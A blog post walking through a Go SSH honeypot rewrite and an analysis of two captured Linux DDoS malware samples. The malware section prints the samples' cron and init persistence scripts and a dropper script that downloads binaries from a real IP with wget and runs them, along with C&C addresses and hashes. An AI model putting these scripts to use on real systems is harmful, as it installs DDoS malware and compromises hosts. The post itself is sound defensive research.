{ Josh Rendek }

<3 Ruby & Go

I’ve been running https://sshpot.com/ for a while now - and decided it needed to be revamped and overhauled - and thought I’d make a presentation and write up some details on the process as well. If you’d like to just view the slides, hop over here.

If you’re just looking for the source code:

Table of Contents

Design goals

I wanted to make sure this was an improvement over the previous iteration, so I laid out several goals for the rewrite:

  • Appear more ‘vulnerable’
  • Correlate commands/sessions (old version just logged data)
  • Proxy requests and capture data
  • Better statistics
  • Redesigned command simulation using interfaces instead of simple string matching

Some important steps the honeypot must do:

  • generate a new private key pair for the server on every boot (appear like a fresh server)
  • Advertise a vulnerable version - Check past CVE’s if you want to target a specific one. Important the banner must start with SSH-2.0 or the client won’t handshake
  • Must listen on port 22, so you should move the actual SSHD to port 2222 (or any other port, for example)
  • Do the SSH handshake
  • Handle requests

Appearing More Vulnerable

We need to create an SSH config for the ssh package to use when constructing a new object. An important thing to note here is the SSH-2.0 prefix to the ServerVersion - if that is missing the client will do weird things (including not connecting).

1 sshConfig := &ssh.ServerConfig{
2 		PasswordCallback:  passAuthCallback,
3 		PublicKeyCallback: keyAuthCallback,
4 		ServerVersion:     "SSH-2.0-OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013", // old and vulnerable!
5 	}

Correlating Sessions and Commands

In order to correlate requests we can use the permission extension in the ssh package to store a map of data - in our case, a simple GUID to keep state across requests. This could also be used to store a user id or some other type of session identifier, for instance, if you were trying to write your own replacement ssh daemon to do things like serving up git requests.

 1 func passAuthCallback(conn ssh.ConnMetadata, password []byte) (*ssh.Permissions, error) {
 2 	guid := uuid.NewV4()
 3 	ip, remotePort := parseIpPortFrom(conn)
 4 	login := SshLogin{RemoteAddr: ip,
 5 		RemotePort: remotePort,
 6 		Username:   conn.User(),
 7 		Password:   string(password),
 8 		Guid:       guid.String(),
 9 		Version:    string(conn.ClientVersion()),
10 		LoginType:  "password",
11 	}
12 	login.Save()
13 	return &ssh.Permissions{Extensions: map[string]string{"guid": guid.String()}}, nil
14 }

We want to capture as much metadata about the connection as possible, as well as capture public keys that are available when the attacker is using an ssh-agent - this can help us in the future to possibly identify bad actors. Here we marshal the public key and capture the key type being sent.

 1 func keyAuthCallback(conn ssh.ConnMetadata, key ssh.PublicKey) (*ssh.Permissions, error) {
 2 	guid := uuid.NewV4()
 3 	ip, remotePort := parseIpPortFrom(conn)
 4 	login := SshLogin{RemoteAddr: ip,
 5 		RemotePort: remotePort,
 6 		Username:   conn.User(),
 7 		Guid:       guid.String(),
 8 		Version:    string(conn.ClientVersion()),
 9 		PublicKey:  key.Marshal(),
10 		KeyType:    string(key.Type()),
11 		LoginType:  "key",
12 	}
13 	go login.Save()
14 	//log.Println("Fail to authenticate", conn, ":", err)
15 	//return nil, errors.New("invalid authentication")
16 	return &ssh.Permissions{Extensions: map[string]string{"guid": guid.String()}}, nil
17 }

Proxying Requests and Capturing Data

Now we can talk about proxying requests. I’m going to throw some code at you then explain below:

 1 func HandleTcpReading(channel ssh.Channel, term *terminal.Terminal, perms *ssh.Permissions) {
 2 	defer channel.Close()
 3 	for {
 4 		// read up to 1MB of data
 5 		b := make([]byte, 1024*1024)
 6 		_, err := channel.Read(b)
 7 		if err != nil {
 8 			if err.Error() == "EOF" {
 9 				return
10 			}
11 		}
12 		read := bufio.NewReader(strings.NewReader(string(b)))
13 		toReq, err := http.ReadRequest(read)
14 		// TODO: https will panic atm - not supported
15 		if err != nil {
16 			log.Println("Error parsing request: ", err)
17 			return
18 		}
19 		err = toReq.ParseForm()
20 		if err != nil {
21 			log.Println("Error parsing form: ", err)
22 			return
23 		}
24 		url := fmt.Sprintf("%s%s", toReq.Host, toReq.URL)
25 
26 		httpReq := &HttpRequest{
27 			Headers:  toReq.Header,
28 			URL:      url,
29 			FormData: toReq.Form,
30 			Method:   toReq.Method,
31 			Guid:     perms.Extensions["guid"],
32 			Hostname: toReq.Host,
33 		}
34 
35 		client := &http.Client{}
36 		resp, err := client.Get(fmt.Sprintf("http://%s", url))
37 		if err != nil {
38 			log.Fatalf("Body read error: %s", err)
39 		}
40 
41 		defer resp.Body.Close()
42 		body, err2 := ioutil.ReadAll(resp.Body)
43 		if err2 != nil {
44 			log.Fatalf("Body read error: %s", err2)
45 		}
46 		httpReq.Response = string(body)
47 		httpReq.Save()
48 
49 		log.Printf("[ http://%s ] %s", url, body)
50 
51 		channel.Write(body)
52 		// make the http request
53 
54 		//if resp, ok := httpHandler[url]; ok {
55 		//	channel.Write(resp)
56 		//} else {
57 		//	channel.Write([]byte("45.4.5.6"))
58 		//}
59 		channel.Close()
60 	}
61 }

On line 5 we’re going to read directly from the TCP connection, and only up to 1MB of data - if we get an EOF we’ll return. Next on line 1213 we’re using a nice part of the http package that lets us take a raw stream of TCP bytes and convert it to the appropriate HTTP request that its asking for (like GET /foobar) and handling all the other headers/post params.

After getting the TCP request into something we can work with more easily, we parse out any form params on line 19, and then we reconstruct the url to visit on line 24.

Line 26 is using our persistence struct to save everything that has come in so far.

Line 25 and line 54 can be interchanged. For my honeypots I’m actually making the raw requests that they’re asking for (only GETs) - the other option is using the httpHandler struct and create dummy responses for various websites. After we make the raw request we store the response in our persistence struct and save it to the API on line 4647.

Finally on line 59 we close the channel to tell the client that data has been returned and is done.

Handling requests

The biggest portion of handling requests is accepting them and sending them off to be handled by the channel handler - which will be incoming commands and tcp connections. We loop to handle connections and perform the handshake for each new request.

 1 for {
 2 		tcpConn, err := listener.Accept()
 3 		if err != nil {
 4 			log.Printf("failed to accept incoming connection (%s)", err)
 5 			continue
 6 		}
 7 		// Before use, a handshake must be performed on the incoming net.Conn.
 8 		sshConn, chans, reqs, err := ssh.NewServerConn(tcpConn, sshConfig)
 9 		if err != nil {
10 			log.Printf("failed to handshake (%s)", err)
11 			continue
12 		}
13 
14 		// Check remote address
15 		log.Printf("new ssh connection from %s (%s)", sshConn.RemoteAddr(), sshConn.ClientVersion())
16 
17 		// Print incoming out-of-band Requests
18 		go handleRequests(reqs)
19 		// Accept all channels
20 		go handleChannels(chans, sshConn.Permissions)
21 	}

On line 18 we just log out of band requests that aren’t what we want. Line 20 handles the meat and potatoes of our programs which is incoming commands and SOCKS proxy requests. We do both of these in go routines so multiple clients can connect at once.

The next important step is handling both out of band requests and incoming TPC connections - jump to the end of the codelbock for an explanation.

  1 func handleChannels(chans <-chan ssh.NewChannel, perms *ssh.Permissions) {
  2 	// Service the incoming Channel channel.
  3 	for newChannel := range chans {
  4 		channel, requests, err := newChannel.Accept()
  5 		if err != nil {
  6 			log.Printf("could not accept channel (%s)", err)
  7 			continue
  8 		}
  9 
 10 		var shell string
 11 		shell = os.Getenv("SHELL")
 12 		if shell == "" {
 13 			shell = DEFAULT_SHELL
 14 		}
 15 
 16 		if newChannel.ChannelType() == "direct-tcpip" {
 17 			term := terminal.NewTerminal(channel, "")
 18 			go HandleTcpReading(channel, term, perms)
 19 		}
 20 
 21 		// Sessions have out-of-band requests such as "shell", "pty-req" and "env"
 22 		go func(in <-chan *ssh.Request) {
 23 			for req := range in {
 24 				term := terminal.NewTerminal(channel, "")
 25 				handler := NewCommandHandler(term)
 26 				handler.Register(&Ls{}, &LsAl{},
 27 					&Help{},
 28 					&Pwd{},
 29 					&UnsetHistory{},
 30 					&Uname{},
 31 					&Echo{},
 32 					&Whoami{User: "root"},
 33 				)
 34 
 35 				log.Printf("Payload: %s", req.Payload)
 36 				ok := false
 37 				switch req.Type {
 38 				// exec is used: ssh [email protected] 'some command'
 39 				case "exec":
 40 					ok = true
 41 					command := string(req.Payload[4 : req.Payload[3]+4])
 42 
 43 					cmdOut, newLine := handler.MatchAndRun(command)
 44 					term.Write([]byte(cmdOut))
 45 					if newLine {
 46 						term.Write([]byte("\r\n"))
 47 					}
 48 
 49 					shellCommand := &ShellCommand{Cmd: command, Guid: perms.Extensions["guid"]}
 50 					go shellCommand.Save()
 51 
 52 					channel.Close()
 53 				// shell is used: ssh [email protected] ... then commands are entered
 54 				case "shell":
 55 					for {
 56 						term.Write([]byte("[email protected]:/# "))
 57 						line, err := term.ReadLine()
 58 						if err == io.EOF {
 59 							log.Printf("EOF detected, closing")
 60 							channel.Close()
 61 							ok = true
 62 							break
 63 						}
 64 						if err != nil {
 65 							log.Printf("Error: %s", err)
 66 						}
 67 
 68 						cmdOut, newLine := handler.MatchAndRun(line)
 69 						term.Write([]byte(cmdOut))
 70 						if newLine {
 71 							term.Write([]byte("\r\n"))
 72 						}
 73 
 74 						shellCommand := &ShellCommand{Cmd: line, Guid: perms.Extensions["guid"]}
 75 						go shellCommand.Save()
 76 
 77 						log.Println(line)
 78 					}
 79 					if len(req.Payload) == 0 {
 80 						ok = true
 81 					}
 82 				case "pty-req":
 83 					// Responding 'ok' here will let the client
 84 					// know we have a pty ready for input
 85 					ok = true
 86 					// Parse body...
 87 					termLen := req.Payload[3]
 88 					termEnv := string(req.Payload[4 : termLen+4])
 89 					log.Printf("pty-req '%s'", termEnv)
 90 				default:
 91 					log.Printf("[%s] Payload: %s", req.Type, req.Payload)
 92 				}
 93 
 94 				if !ok {
 95 					log.Printf("declining %s request...", req.Type)
 96 				}
 97 
 98 				req.Reply(ok, nil)
 99 			}
100 		}(requests)
101 	}
102 }

On line 16 we’re sending the TCP reading off to another function to get handled - the rest of the requests coming in out-of-band will be handled in the function on line 22.

On line 24 we use the terminal package to create a new terminal for reading input and sending output back to the user. Line 25 is our command handler which will do the regex and pattern matching.

Our case/switch statement is doing the heavy lifting here starting on line 39.

Now we need to understand the different types of SSH connections and requests that can be made:

  • (line 16) direct-tcpip is what happens when you use your SSH connection to proxy TCP connections (like a SOCKS proxy).

  • (line 39) exec is what happens when you run commands like ssh some [email protected] ‘ls -al’

  • (line 54) shell is what happens when you actually login and start executing commands, a PTY gets launched and you have an interactive command prompt.

  • (line 82) pty-req lets the SSH client know that its ready to accept input (works in conjunction with shell).

These are all the command types we care about for now.

Simulating Commands

A few things we need to keep in mind for this part of the honeypot:

  • Need to simulate commands that are run by attackers
  • Go’s interface pattern fits well here
  • Need to understand command return values
    • Does the command return a new line?
    • If output doesn’t match (including new lines) it may throw off bots/scripts that check for exact output matching
  • Need to be able to match commands based on regex or equality
    • Needs to handle commands like:
      • echo -n test
      • echo test
      • echo foo bar baz
    • Don’t want to write a handler for each variation of a command with flags - would never cover all cases

So with all that in mind lets lay out a framework for the command handler. We need something to register all of our commands, and then a structure for our commands to be run consistently.

 1 type CommandHandler struct {
 2 	Terminal *terminal.Terminal
 3 	Commands []Command
 4 }
 5 
 6 func NewCommandHandler(term *terminal.Terminal) *CommandHandler {
 7 	return &CommandHandler{Terminal: term, Commands: []Command{}}
 8 }
 9 
10 func (ch *CommandHandler) Register(commands ...Command) {
11 	for _, c := range commands {
12 		ch.Commands = append(ch.Commands, c)
13 	}
14 }
15 
16 func (ch *CommandHandler) MatchAndRun(in string) (string, bool) {
17 	for _, c := range ch.Commands {
18 		if c.Match(strings.TrimSpace(in)) {
19 			return c.Run(in)
20 		}
21 	}
22 	return fmt.Sprintf("bash: %s: command not found", in), false
23 }
24 
25 type Command interface {
26 	Match(string) bool
27 	Run(string) (string, bool)
28 }
29 
30 type Echo struct{}
31 
32 func (c *Echo) Match(in string) bool {
33 	return strings.Contains(in, "echo")
34 }
35 
36 func (c *Echo) Run(in string) (string, bool) {
37 	x := strings.Split(in, " ")
38 	newLine := true
39 	if len(x) >= 2 {
40 		if x[1] == "-n" {
41 			newLine = false
42 		}
43 	}
44 	if len(x) == 1 {
45 		return "", true
46 	}
47 	startPos := 1
48 	if strings.Contains(x[1], "-") {
49 		if len(x) >= 2 {
50 			startPos = 2
51 		}
52 	}
53 
54 	return strings.Join(x[startPos:len(x)], " "), newLine
55 }

On lines 1 and 6 we’re creating our CommandHandler which will be where all commands get registered to and where we store our terminal to write to.

Line 10 lets us register 1...n commands at once using go’s variadic argument syntax.

Line 16 is our runner that will take in the input from attacker and run it through our registered commands. We return the command output and also whether or not it will output a newline at the end. If no command is registered that will match, we return the generic bash command not found.

Line 25 is our interface definition. We have two functions, Match and Run. Run follows the MatchAndRun pattern where we returns the command output and whether or not a newline is needed. The meat of this command can do wahtever you want it to do - in this case we’re checking for some specific flags that I’ve seen used on the honeypot and parsing them out.

The Match portion in this case is just a simple Contains check - you can do whatever you want in this portion - it just needs to return a boolean. Go nuts with regexes or just do a simple equality check.

Persistence Layer

For our persistence layer their isn’t anything special going on. We have a few configurable options via ENV vars, ability to skip sending commands to the remote, and ability to provide a SERVER_URL to dev against the local rails application.

Now that we have a working honeypot that is able to accept logins, simulate and record commands, we can start analyzing dropped files.

Analyzing Dropped Files

Tools we’ll be using from OS X (please note this is not exhaustive):

  • Virtualbox
  • Docker (docker-machine on OS X)
  • Wireshark
  • VirusTotal

We’re going to use wireshark to process PCAP files generated by Wireshark, so we’ll need to tell VirtualBox to create the network capture:

/Applications/VirtualBox.app/Contents/MacOS/VBoxManage modifyvm default --nictrace1 on --nictracefile1 /tmp/log.pcap

You may need to stop the docker container for this command to generate pcap files

We can exec into the container to check running processes and see other commands being run.

We’ll be using docker to dump a clean image and an infected image, in order to see what files were modified and/or dropped onto the file system:

docker export container_id > container.tar
tar xvf container.tar -C container-dump

What you want to do in order to get a clean a dump as possible:

  • Run a plain ubuntu container docker run -it ubuntu bash to get into it and at the console
  • Run any commands you want (like apt-get update or apt-get install wget or whatever other tools you think you will need)
  • Save the “comparison” container using docker export then extract it into a folder

Now when running the malware (assuming its in the current directory):

docker run -it --volume=`pwd`:/malware:ro ubuntu bash

Repeat the same commands you ran above in the “comparison” container (or save it as an image and spawn from that).

Now you can exec into your container and run the malware. Depending on how comfortable you are with monitoring your own network you should be doing this on an isolated network. Now to running the two malware samples we’ll be going over today:

Trojan-DDoS.Linux.Xarcen.a

Common name: HEUR:Trojan-DDoS.Linux.Xarcen.a
sha256: acbccef76341af012bdf8f0022b302c08c72c6911631f98de8d9f694b3460e25
md5: 63f286aa32a4baaa8b0dd137eb4b3361

Initial look:

  • C&C trojan
  • Drops multiple copies of itself
  • Will randomly spawn processes and change process names

Process output

[email protected]:/malware# ps ax
  PID TTY      STAT   TIME COMMAND
    1 ?        Ss     0:00 bash
   21 ?        Ssl    0:00 netstat -antop
   72 ?        Ss     0:00 bash
   75 ?        Ss     0:00 pwd
   78 ?        Ss     0:00 route -n
   80 ?        Ss     0:00 grep "A"
   81 ?        Ss     0:00 whoami
   93 ?        Ss     0:00 cat resolv.conf
   96 ?        Ss     0:00 whoami
   99 ?        R+     0:00 ps ax
  100 ?        Ss     0:00 su
  102 ?        R      0:00 /usr/bin/nnqucjsvsp who 21
[email protected]:/malware# ps ax
  PID TTY      STAT   TIME COMMAND
    1 ?        Ss     0:00 bash
   21 ?        Ssl    0:00 netstat -antop
   93 ?        Ss     0:00 cat resolv.conf
   96 ?        Ss     0:00 whoami
  100 ?        Ss     0:00 su
  102 ?        Ss     0:00 who
  103 ?        Ss     0:00 id
  104 ?        R+     0:00 ps ax
[email protected]:/malware# ps ax
  PID TTY      STAT   TIME COMMAND
    1 ?        Ss     0:00 bash
   21 ?        Ssl    0:00 netstat -antop
   93 ?        Ss     0:00 cat resolv.conf
   96 ?        Ss     0:00 whoami
  100 ?        Ss     0:00 su
  102 ?        Ss     0:00 who
  103 ?        Ss     0:00 id

Network Traffic

Frame 523: 271 bytes on wire (2168 bits), 271 bytes captured (2168 bits)
Ethernet II, Src: CadmusCo_26:3d:b9 (08:00:27:26:3d:b9), Dst: RealtekU_12:35:02 (52:54:00:12:35:02)
Internet Protocol Version 4, Src: 10.0.2.15, Dst: 23.234.60.143
Transmission Control Protocol, Src Port: 39433 (39433), Dst Port: 80 (80), Seq: 1, Ack: 1, Len: 217
Hypertext Transfer Protocol
    GET /config.rar HTTP/1.1\r\n
        [Expert Info (Chat/Sequence): GET /config.rar HTTP/1.1\r\n]
        Request Method: GET
        Request URI: /config.rar
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: zh-cn\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)\r\n
    Host: aa.hostasa.org\r\n
    Connection: Keep-Alive\r\n
    \r\n
    [Full request URI: http://aa.hostasa.org/config.rar]
    [HTTP request 1/1]
    [Response in frame: 537]

Dropped Files

2 binaries were dropped onto the file system, which looked to be copies of itself:

  • g7hs-dump/usr/bin/filupxsndj
    • sha256: 3657bd42fef97343c78a199d3611285e6fe7b88cc91e127d17ebbbbb2fd2f292
    • Common name: HEUR:Trojan-DDoS.Linux.Xarcen.a
  • g7hs-dump/lib/libudev.so
    • sha256: acbccef76341af012bdf8f0022b302c08c72c6911631f98de8d9f694b3460e25
    • Common name: HEUR:Trojan-DDoS.Linux.Xarcen.a

Several other plain text files were dropped in order to ensure startup:

/etc/cron.hourly/gcc.sh

#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done
cp /lib/libudev.so /lib/libudev.so.6
/lib/libudev.so.6

/etc/crontab

*/3 * * * * root /etc/cron.hourly/gcc.sh

/etc/init.d/filupxsndj

#!/bin/sh
# chkconfig: 12345 90 90
# description: filupxsndj
### BEGIN INIT INFO
# Provides:            filupxsndj
# Required-Start:
# Required-Stop:
# Default-Start:      1 2 3 4 5
# Default-Stop:
# Short-Description:  filupxsndj
### END INIT INFO

case $1 in
start)
      /usr/bin/filupxsndj
      ;;
stop)
      ;;
*)
      /usr/bin/filupxsndj
      ;;
esac

/etc/rc1.d/S90filupxsndj

/etc/init.d/filupxsndj

/etc/rc2.d/S90filupxsndj

/etc/init.d/filupxsndj

/etc/rc3.d/S90filupxsndj

/etc/rc4.d/S90filupxsndj

/etc/init.d/filupxsndj

/etc/rc5.d/S90filupxsndj

/etc/init.d/filupxsndj

/etc/init.d/filupxsndj

/lib/libudev.so

binary

/run/gcc.pid

bfpftcdsdhkveetlovyuysfcaeyrxboz

Overview

So we can see several things going on: dropped files, additional payload downloads, tries to persist itself in as many places as possible, masks its presence with different process names. These two pieces of malware were the first ones I’ve analyzed (ever) so I don’t have much indepth analysis other than what I was able to gather from network traffic and observations through docker. For a more detailed write up Kaspersky has a great writeup, including reversed source code.

DDOS.Flood / DnsAmp

Common name: DDOS.Flood / DnsAmp
sha256: d9d58fb1f562e7c22bb67edf9dc651fa8bc823ff3e8aecc04131c34b5bc8cf03
md5: b589c8a722b5c35d4bd95487b47f8b8b

Initial look:

  • Initial payload is a shell script
  • Another DDOS type malware
  • Drops several binaries that cover as many architectures as possible (ARM/MIPS/etc)
  • Masks itself as system interrupt process (irq)
  • Uses IRC + HTTP for communication
  • Connects to 2 IPs:
    • 52.8.123.250:80
    • Running on AWS, most likely compromised.
    • 49.231.211.193:8080
    • Running somewhere in Australia.
  • Initial payload is a bash script

Dropped Files

Initial Payload

#!/bin/bash
wget -c http://52.8.123.250/x/tty0 -P /var/run && chmod +x /var/run/tty0 && /var/run/tty0 &
wget -c http://52.8.123.250/x/tty1 -P /var/run && chmod +x /var/run/tty1 && /var/run/tty1 &
wget -c http://52.8.123.250/x/tty2 -P /var/run && chmod +x /var/run/tty2 && /var/run/tty2 &
wget -c http://52.8.123.250/x/tty3 -P /var/run && chmod +x /var/run/tty3 && /var/run/tty3 &
wget -c http://52.8.123.250/x/tty4 -P /var/run && chmod +x /var/run/tty4 && /var/run/tty4 &
wget -c http://52.8.123.250/x/tty5 -P /var/run && chmod +x /var/run/tty5 && /var/run/tty5 &
wget -c http://52.8.123.250/x/pty && chmod +x pty && ./pty &
wget -c http://52.8.123.250/x/pty -P /var/run && chmod +x /var/run/pty && /var/run/pty &
rm -rf /var/run/1sh

/var/spool/cron/crontabs/root

# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/var/run/.x001804289383 installed on Tue May 17 21:20:29 2016)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* * * * * /run/pty > /dev/null 2>&1 &

Network Traffic

Port 8080

Frame 4660: 556 bytes on wire (4448 bits), 556 bytes captured (4448 bits)
Ethernet II, Src: RealtekU_12:35:02 (52:54:00:12:35:02), Dst: CadmusCo_26:3d:b9 (08:00:27:26:3d:b9)
Internet Protocol Version 4, Src: 211.103.199.98, Dst: 10.0.2.15
Transmission Control Protocol, Src Port: 8080 (8080), Dst Port: 46783 (46783), Seq: 17, Ack: 85, Len: 502
Hypertext Transfer Protocol
    :[email protected] PRIVMSG x86|x|0|344265|a31f446d :\001VERSION\001\r\n
    :izu.ko 001 x86|x|0|344265|a31f446d :\n
    :izu.ko 002 x86|x|0|344265|a31f446d :\n
    :izu.ko 003 x86|x|0|344265|a31f446d :\n
    :izu.ko 004 x86|x|0|344265|a31f446d :\n
    :izu.ko 005 x86|x|0|344265|a31f446d :\n
    :izu.ko 005 x86|x|0|344265|a31f446d :\n
    :izu.ko 005 x86|x|0|344265|a31f446d :\n
    :izu.ko 375 x86|x|0|344265|a31f446d :\n
    :izu.ko 372 x86|x|0|344265|a31f446d :- 27/10/2014 11:36\r\n
    :izu.ko 372 x86|x|0|344265|a31f446d :- !!\r\n
    :izu.ko 376 x86|x|0|344265|a31f446d :\n

Frame 4665: 257 bytes on wire (2056 bits), 257 bytes captured (2056 bits)
Ethernet II, Src: RealtekU_12:35:02 (52:54:00:12:35:02), Dst: CadmusCo_26:3d:b9 (08:00:27:26:3d:b9)
Internet Protocol Version 4, Src: 211.103.199.98, Dst: 10.0.2.15
Transmission Control Protocol, Src Port: 8080 (8080), Dst Port: 46783 (46783), Seq: 519, Ack: 393, Len: 203
Hypertext Transfer Protocol
    :x86|x|0|344265|[email protected] JOIN :#x86\r\n
    :izu.ko 332 x86|x|0|344265|a31f446d #x86 :https://www.youtube.com/watch?v=dDp3lfE_In8\r\n
    :izu.ko 333 x86|x|0|344265|a31f446d #x86 Jorgee 1463456542\r\n

Overview

I can see several things happening here, the most interesting I think is the multiple architecture support - perhaps trying to compromise routers and other smaller IoT devices that are running ARM or other mobile processors. It tries to mask itself as a pty process and then installs itself in crontab. Finally it does some communication over IRC in plain text. Based on the limited network communication I saw, I’m guessing this might belong to a Spanish hacker group (from the youtube link) - or it might just be a coincidence of what I saw while executing the malware.

Building the Honeypot Network

Finding cheap hosts is important, we don’t care about a lot of the niceties we’d normally want in a VPS provider or cloud provider (like DO or AWS) - what we want is a cheap isolated environment to run our honeypots in (either cheaper kvm/xen, or even cheaper openvz). To that end, serverbear.com is great for simple price comparison shopping.

I currently am still trying to find the best locations and providers to use but have a mix of OpenVZ and KVM instances running. The main OS is Ubuntu, however any flavor of linux will do since the go binary will be compatible on any of them.

And finally, in order to get the best representation of activity, it’s best to spread the servers out globally so you can get a wide geographic coverage (Europe, America, Asia, etc).

Future plans

  • Payload downloading
    • Download the payloads as they get ‘executed’ on the honeypot
  • Automate analysis
    • Automate using docker and other tools to produce reliable analysis output
  • More honeypots
    • Right now I’m only running 6 - each is about $2-5/month
  • Automate WHOIS lookups
    • Automate abuse complaint sends and track which providers are actually monitoring and care about what their networ is used for
  • More services
    • Expand honeypot protocols to FTP, HTTP Proxies (Polipo, Squid, etc), etc
comments powered by Disqus